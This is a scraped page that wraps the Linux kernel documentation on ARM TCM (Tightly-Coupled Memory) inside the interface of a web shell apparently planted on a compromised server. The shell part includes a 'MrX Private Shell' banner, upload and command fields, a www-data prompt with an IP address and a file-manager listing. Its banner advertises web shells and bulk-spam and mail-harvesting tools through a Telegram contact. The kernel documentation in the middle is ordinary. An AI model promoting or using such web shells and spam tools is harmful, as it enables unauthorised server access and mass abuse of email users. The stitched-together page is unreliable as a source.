__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>ARM TCM (Tightly-Coupled Memory) handling in Linux &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Kernel initialisation parameters on ARM Linux" href="setup.html" />
    <link rel="prev" title="Memory alignment" href="mem_alignment.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">ARM Architecture</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="arm.html">ARM Linux 2.6 and upper</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting.html">Booting ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="cluster-pm-race-avoidance.html">Cluster-wide Power-up/power-down race avoidance algorithm</a></li>
<li class="toctree-l3"><a class="reference internal" href="firmware.html">Interface for registering and calling firmware-specific operations for ARM</a></li>
<li class="toctree-l3"><a class="reference internal" href="interrupts.html">Interrupts</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel_mode_neon.html">Kernel mode NEON</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel_user_helpers.html">Kernel-provided User Helpers</a></li>
<li class="toctree-l3"><a class="reference internal" href="memory.html">Kernel Memory Layout on ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="mem_alignment.html">Memory alignment</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">ARM TCM (Tightly-Coupled Memory) handling in Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="setup.html">Kernel initialisation parameters on ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="swp_emulation.html">Software emulation of deprecated SWP instruction (CONFIG_SWP_EMULATE)</a></li>
<li class="toctree-l3"><a class="reference internal" href="uefi.html">The Unified Extensible Firmware Interface (UEFI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="vlocks.html">vlocks for Bare-Metal Mutual Exclusion</a></li>
<li class="toctree-l3"><a class="reference internal" href="porting.html">Porting</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on arm architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="index.html#soc-specific-documents">SoC-specific documents</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/arm/tcm.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="arm-tcm-tightly-coupled-memory-handling-in-linux">
<h1>ARM TCM (Tightly-Coupled Memory) handling in Linux<a class="headerlink" href="#arm-tcm-tightly-coupled-memory-handling-in-linux" title="Link to this heading">¶</a></h1>
<p>Written by Linus Walleij &lt;<a class="reference external" href="mailto:linus&#46;walleij&#37;&#52;&#48;stericsson&#46;com">linus<span>&#46;</span>walleij<span>&#64;</span>stericsson<span>&#46;</span>com</a>&gt;</p>
<p>Some ARM SoCs have a so-called TCM (Tightly-Coupled Memory).
This is usually just a few (4-64) KiB of RAM inside the ARM
processor.</p>
<p>Due to being embedded inside the CPU, the TCM has a
Harvard-architecture, so there is an ITCM (instruction TCM)
and a DTCM (data TCM). The DTCM can not contain any
instructions, but the ITCM can actually contain data.
The size of DTCM or ITCM is minimum 4KiB so the typical
minimum configuration is 4KiB ITCM and 4KiB DTCM.</p>
<p>ARM CPUs have special registers to read out status, physical
location and size of TCM memories. arch/arm/include/asm/cputype.h
defines a CPUID_TCM register that you can read out from the
system control coprocessor. Documentation from ARM can be found
at <a class="reference external" href="http://infocenter.arm.com">http://infocenter.arm.com</a>, search for “TCM Status Register”
to see documents for all CPUs. Reading this register you can
determine if ITCM (bits 1-0) and/or DTCM (bit 17-16) is present
in the machine.</p>
<p>There is further a TCM region register (search for “TCM Region
Registers” at the ARM site) that can report and modify the location
size of TCM memories at runtime. This is used to read out and modify
TCM location and size. Notice that this is not a MMU table: you
actually move the physical location of the TCM around. At the
place you put it, it will mask any underlying RAM from the
CPU so it is usually wise not to overlap any physical RAM with
the TCM.</p>
<p>The TCM memory can then be remapped to another address again using
the MMU, but notice that the TCM is often used in situations where
the MMU is turned off. To avoid confusion the current Linux
implementation will map the TCM 1 to 1 from physical to virtual
memory in the location specified by the kernel. Currently Linux
will map ITCM to 0xfffe0000 and on, and DTCM to 0xfffe8000 and
on, supporting a maximum of 32KiB of ITCM and 32KiB of DTCM.</p>
<p>Newer versions of the region registers also support dividing these
TCMs in two separate banks, so for example an 8KiB ITCM is divided
into two 4KiB banks with its own control registers. The idea is to
be able to lock and hide one of the banks for use by the secure
world (TrustZone).</p>
<p>TCM is used for a few things:</p>
<ul class="simple">
<li><p>FIQ and other interrupt handlers that need deterministic
timing and cannot wait for cache misses.</p></li>
<li><p>Idle loops where all external RAM is set to self-refresh
retention mode, so only on-chip RAM is accessible by
the CPU and then we hang inside ITCM waiting for an
interrupt.</p></li>
<li><p>Other operations which implies shutting off or reconfiguring
the external RAM controller.</p></li>
</ul>
<p>There is an interface for using TCM on the ARM architecture
in &lt;asm/tcm.h&gt;. Using this interface it is possible to:</p>
<ul class="simple">
<li><p>Define the physical address and size of ITCM and DTCM.</p></li>
<li><p>Tag functions to be compiled into ITCM.</p></li>
<li><p>Tag data and constants to be allocated to DTCM and ITCM.</p></li>
<li><p>Have the remaining TCM RAM added to a special
allocation pool with <a class="reference internal" href="../../core-api/genalloc.html#c.gen_pool_create" title="gen_pool_create"><code class="xref c c-func docutils literal notranslate"><span class="pre">gen_pool_create()</span></code></a> and <a class="reference internal" href="../../core-api/genalloc.html#c.gen_pool_add" title="gen_pool_add"><code class="xref c c-func docutils literal notranslate"><span class="pre">gen_pool_add()</span></code></a>
and provide <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">tcm_alloc()</span></code> and <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">tcm_free()</span></code> for this
memory. Such a heap is great for things like saving
device state when shutting off device power domains.</p></li>
</ul>
<p>A machine that has TCM memory shall select HAVE_TCM from
arch/arm/Kconfig for itself. Code that needs to use TCM shall
#include &lt;asm/tcm.h&gt;</p>
<p>Functions to go into itcm can be tagged like this:
int __tcmfunc foo(int bar);</p>
<p>Since these are marked to become long_calls and you may want
to have functions called locally inside the TCM without
wasting space, there is also the __tcmlocalfunc prefix that
will make the call relative.</p>
<p>Variables to go into dtcm can be tagged like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int __tcmdata foo;
</pre></div>
</div>
<p>Constants can be tagged like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int __tcmconst foo;
</pre></div>
</div>
<p>To put assembler into TCM just use:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>.section &quot;.tcm.text&quot; or .section &quot;.tcm.data&quot;
</pre></div>
</div>
<p>respectively.</p>
<p>Example code:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>#include &lt;asm/tcm.h&gt;

/* Uninitialized data */
static u32 __tcmdata tcmvar;
/* Initialized data */
static u32 __tcmdata tcmassigned = 0x2BADBABEU;
/* Constant */
static const u32 __tcmconst tcmconst = 0xCAFEBABEU;

static void __tcmlocalfunc tcm_to_tcm(void)
{
      int i;
      for (i = 0; i &lt; 100; i++)
              tcmvar ++;
}

static void __tcmfunc hello_tcm(void)
{
      /* Some abstract code that runs in ITCM */
      int i;
      for (i = 0; i &lt; 100; i++) {
              tcmvar ++;
      }
      tcm_to_tcm();
}

static void __init test_tcm(void)
{
      u32 *tcmem;
      int i;

      hello_tcm();
      printk(&quot;Hello TCM executed from ITCM RAM\n&quot;);

      printk(&quot;TCM variable from testrun: %u @ %p\n&quot;, tcmvar, &amp;tcmvar);
      tcmvar = 0xDEADBEEFU;
      printk(&quot;TCM variable: 0x%x @ %p\n&quot;, tcmvar, &amp;tcmvar);

      printk(&quot;TCM assigned variable: 0x%x @ %p\n&quot;, tcmassigned, &amp;tcmassigned);

      printk(&quot;TCM constant: 0x%x @ %p\n&quot;, tcmconst, &amp;tcmconst);

      /* Allocate some TCM memory from the pool */
      tcmem = tcm_alloc(20);
      if (tcmem) {
              printk(&quot;TCM Allocated 20 bytes of TCM @ %p\n&quot;, tcmem);
              tcmem[0] = 0xDEADBEEFU;
              tcmem[1] = 0x2BADBABEU;
              tcmem[2] = 0xCAFEBABEU;
              tcmem[3] = 0xDEADBEEFU;
              tcmem[4] = 0x2BADBABEU;
              for (i = 0; i &lt; 5; i++)
                      printk(&quot;TCM tcmem[%d] = %08x\n&quot;, i, tcmem[i]);
              tcm_free(tcmem, 20);
      }
}
</pre></div>
</div>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/arm/tcm.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
google Folder 0755
keystone Folder 0755
nwfpe Folder 0755
omap Folder 0755
pxa Folder 0755
sa1100 Folder 0755
samsung Folder 0755
spear Folder 0755
sti Folder 0755
stm32 Folder 0755
sunxi Folder 0755
vfp Folder 0755
arm.html File 21.31 KB 0644
booting.html File 20.57 KB 0644
cluster-pm-race-avoidance.html File 31.14 KB 0644
features.html File 19.66 KB 0644
firmware.html File 13.86 KB 0644
index.html File 16.01 KB 0644
interrupts.html File 18.73 KB 0644
ixp4xx.html File 19.27 KB 0644
kernel_mode_neon.html File 18.64 KB 0644
kernel_user_helpers.html File 20.2 KB 0644
marvell.html File 59.02 KB 0644
mem_alignment.html File 13.41 KB 0644
memory.html File 16.07 KB 0644
microchip.html File 20.99 KB 0644
netwinder.html File 16.51 KB 0644
porting.html File 16.77 KB 0644
setup.html File 15 KB 0644
sunxi.html File 18.79 KB 0644
swp_emulation.html File 11.99 KB 0644
tcm.html File 17.34 KB 0644
uefi.html File 14.41 KB 0644
vlocks.html File 18.73 KB 0644
Filemanager